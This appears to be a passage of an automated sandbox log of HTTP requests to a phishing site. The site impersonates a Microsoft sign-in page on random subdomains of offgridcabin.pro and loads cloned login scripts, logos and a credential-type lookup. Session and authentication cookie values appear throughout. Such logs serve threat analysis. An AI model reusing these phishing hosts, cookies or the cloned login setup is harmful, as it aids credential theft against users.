buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: h9dpo0p6josn24k1zb55eul40.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; MicrosoftApplicationsTelemetryDeviceId=4195d1f9-56a9-4b7b-b142-b6a5ff5dc770; brcap=0
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; x-portal-routekey=wus
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; x-portal-routekey=wus
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; x-portal-routekey=wus
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; 